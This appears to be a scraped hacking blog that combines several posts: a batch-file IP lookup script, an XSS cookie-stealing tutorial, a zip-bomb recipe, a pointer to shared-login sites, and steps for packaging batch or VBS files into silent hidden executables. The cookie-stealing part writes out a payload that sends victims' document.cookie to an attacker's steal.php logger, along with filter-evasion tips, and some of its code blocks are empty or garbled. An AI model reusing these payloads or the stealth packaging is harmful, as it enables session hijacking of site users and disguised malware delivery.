Fine IP Address of Any Website Using A Simple Batch File
Find IP Address Of any Website Using A Batch File...

Just Copy This code below and paste it in notepad
then save it as "anyname.bat"... thts it.. now run it..



Click On Above Image to Enlarge It...

@title IP Finder - Created By BlackCoder & color F1
:Coding
@cls
@echo off & break off & @setlocal enabledelayedexpansion
@echo.
@echo ³³³³³³³³³³³³³³³³³ÉÍÍÍÍÍÍÍÍÍÍÍ»³³³³³³³³³³³³³³³³³
@echo ³³³³³³³³³³³³³³³³³º IP Finder º³³³³³³³³³³³³³³³³³
@echo ³³³³³³³³³³³³³³³³³ÈÍÍÍÍÍÍÍÍÍÍͼ³³³³³³³³³³³³³³³³³
@echo.



@set /p Website=Type Website URL Here :
@for /f "tokens=3" %%Z in ('ping %Website%^| find "["') do (
@for /f "tokens=* delims=" %%J in ("%%Z") do (
@set ip=%%J & @set ip=!ip:[=!
@set ip=!ip:]=! & @set ip_Website=!ip!
)
)
@cls & @echo. & @echo É==========»
@echo ºµ²²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²µ²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²µ²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²µ²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²µ²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²µ²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²µ²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²µ²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²µ²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²²µº & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo ºµ²²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²µ²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²µ²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²µ²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²µ²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²µ²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²µ²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²µ²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²µ²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²²µº & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo ºµ²²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²µ²²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²µ²²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²µ²²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²µ²²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²µ²²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²µ²²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²µ²²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²µ²º & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo É==========»
@echo º²²²²²²²²²µº & @echo È==========¼
@ping localhost -n 1 -w 30000 > nul
@cls & @echo. & @echo Website Address: %Website%
@echo IP Address: %ip_Website% & @echo. & @echo Press { ENTER } to continue...
@pause > nul
goto Coding


Enjoy...
Created By Blackcoder..
Thnx .. plz do comments...
--: Hacking Technique : Cookie Stealing :--
Cookiestealing is one of the most fundamental aspects of XSS (cross site scripting).



Why is the cookie so important? Well, first you should see exactly what sort of
information is stored in a cookie. Go to a website that requires a login, and after
logging in erase everything in your address bar and type this line of code:
Code:
jalert(document.cookie)

After you press enter, you should see a pop-up window with some information in it
(that is, if this site uses cookies). This is the data that is stored in your cookie. Here’s an
example of what might be in your cookie:
Code:
username=CyberPhreak; password=ilikepie


This is, of course, a very insecure cookie.

If any sort of vulnerability was found that
allowed for someone to view other people’s cookies, every user account is possibly
compromised.

You’ll be hard-pressed to find a site with cookies like these. However, it
is very common (unfortunately) to find sites with hashes of passwords within the cookie.
The reason that this is unfortunate is because hashes can be cracked, and oftentimes
just knowing the hash is enough.
Now you know why cookies are important; they usually have important information about the
user in them. But how would we go about getting or changing other users’ cookies? This is
the process of cookiestealing.
Cookiestealing is a two-part process. You need to have a script to accept the cookie, and
you need to have a way of sending the cookie to your script. Writing the script to accept
the cookie is the easy part, whereas finding a way to send it to your script is the hard
part. I’ll show you an example of a pHp script that accepts cookies:
Code:

And there you have it, a simple cookiestealer. The way this script works is that it accepts
the cookie when it is passed as a variable, in this case ‘cookie’ in the URL, and then
saves it to a file called ‘log.txt’. For example:
Code:
http://yoursite.com/steal.php?cookie=steal.php is the filename of the script we just wrote, ? lets the script know that we are
going to pass some variables to it, and after that we can set cookie equal to whatever
we want, but what we want to do is set cookie equal to the cookie from the site. This
is the second and harder part of the cookiestealer.
Most websites apply some sort of filter to input, so that you can’t directly insert your
own code. XSS deals with finding exploits within filters, allowing you to put your own
code into a website. This might sound difficult, and in most cases it’s not easy, but
it can be very simple.
Any website that allows you to post text potentially allows you to insert your own code
into the website. Some examples of these types of sites are forums, guestbooks, any site
with a “member profile”, etc.

And any of these sites that have users who log in also
probably use cookies. Now you know what sort of sites might be vulnerable to
cookiestealing.
Let’s assume that we have a website that someone made. This website has user login
capability as well as a guestbook. And let’s also assume that this website doesn’t have
any kind of filtering on what can be put into the guestbook.

This means that you can
put HTML and Javascript directly into your post in the guestbook. I’ll give you an
example of some code that we could put into a guestbook post that would send the user’s
cookie to out script:
Code:

Now whenever someone views the page that you posted this on, they will be redirected to
your script with their cookie from this site in the URL. If you were to look at log.txt
now, you’d see the cookies of whoever looked at that page.
But cookiestealing is never that easy. Let’s assume now that the administrator of this
site got smart, and decided to filter out script tags. Now you code doesn’t work, so
we have to try and evade the filter. In this instance, it’s easy enough:
Code:
void(document.location=’http://yoursite.com/steal.php?cookie=’+
document.cookie)”>Click Me


In this case, when the user clicks on the link they will be sent to your stealer with their
cookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how to get around filters.
-: The ZIP of Death :-
This is a exploit of the compression algorithms to make a small zip that will extract into extream amounts their are more ways and better ones than this one but i will only show how to make a simple 1k = 1m ratio.

1) Make a.txt file

2) Open and type the null character (alt + 255)

3) Press ctrl + a then ctrl + v a couple times to make some null bytes

4) If u have a hexeditor make the hex 00 for about 50 kilobytes.

5) Now make several copies of a.txt and name accordinly


6) Open cmd.exe

7) Type copy /b *.txt b.txt

8) Now every copy is made into a super copy and repeat

9) Once you have a nice empty big text file like 1gb. Put it in a zip archive.
Because of the simple construction of the file, 1gb of null bytes.....!

The zip is only 1 mb in size and can really annoy freinds.
For added fun hex edit the zip and you will see a bunch of hex 5555

Just add some more and the file will expand amazingly

Make sure to not open this after

You can always create your zip of death from the command line in linux
dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz
Get An Account For Any Site Or Forum !!!
i Friends.

I just came across with a site which gives you usernames and passwords for almost everysite.

I thought of sharing it with you.So,just check it out.I am sure you will love it.

The Site is
http://www.bugmenot.com/

Just enter the address of the forum or any site you want to access and get the pass to enter.
To convert a .bat or a .vbs file into an executable .exe ..
To convert a .bat or a .vbs file into an executable .exe file without any software
follow the step:-

Step 1
Navigate to C:\Windows\System32 and locate the file named IEXPRESS.EXE

Step 2
Double Click to launch IEXPRESS.EXE or just type & enter iexpress.exe in start>run box.

Step 3
You will be presented with the initial welcome screen and be given two choices. Select “Create new Self Extraction Directive file.” Click Next.

Step 4
Next you will be presented with the Package Purpose screen. For our purposes select “Extract Files and run an installation command” and click the Next button.

Step 5
You will be presented with the Package Title screen, which will give you the opportunity to give your project a name. If you are so inclined give it a meaningful name. If like me you are never going to come back to this, name it whatever you want.

Step 6
You will next be presented with the Confirmation Prompt Screen. We would like the batch file to just be extracted and run so just choose “No Prompt” and click the Next Button.

Step 7
You are presented with the License Agreement window. If you don’t want your users to have to answer a prompt select “Do not display a license.”

Step 8
The Packaged Files window is where you will select your batch file (or .vbs). Click the Add button and browse to your desired file. Then click next.

Step 9
Here you are presented with a window titled Install Program to Launch. Use the drop down control next to “Install Program and choose the only option that will be present, the .bat or .vbs file that you chose in the previous window.

Step 10
The Show Window screen is next. I didn’t want my users to be prompted in any way so I chose Hidden. Click Next.

Step 11
No Finished Message for my users. Select “No message” and choose Next.

Step 12
The Package Name and Options window is where the new .exe specified. Type in a path or browse to the folder you would like your .exe in, type a name in the file name box and click save. Also check the box that says “Hide File Extraction Progress Animation from User.” If you’re worried about long file names go ahead and click the other box as well.

Step 13
Since we really aren’t installing anything we probably want to tell the Configure Restart window to not restart. So choose the option that says “No restart” and hit Next.

Step 14
This window is where you have a chance to save all of the options you have chosen into a project file so that if necessary you may later return and make modifications. I have no need to retain the file, but if you would like to be able to come back to it, by all means choose “Save Self Extraction Directive (SED) file” and tell it where to put it. As always, click Next.

Step 15
Here’s where you’re new .exe is born, on the Create Package screen. Explore to the directory you told it to put the file in, click Next and then watch your little .exe’s first moments as it pops into the big digital world.

Step 16
You’re done! Click finish and go try it out.

Blackcoder
  • Followers

back to top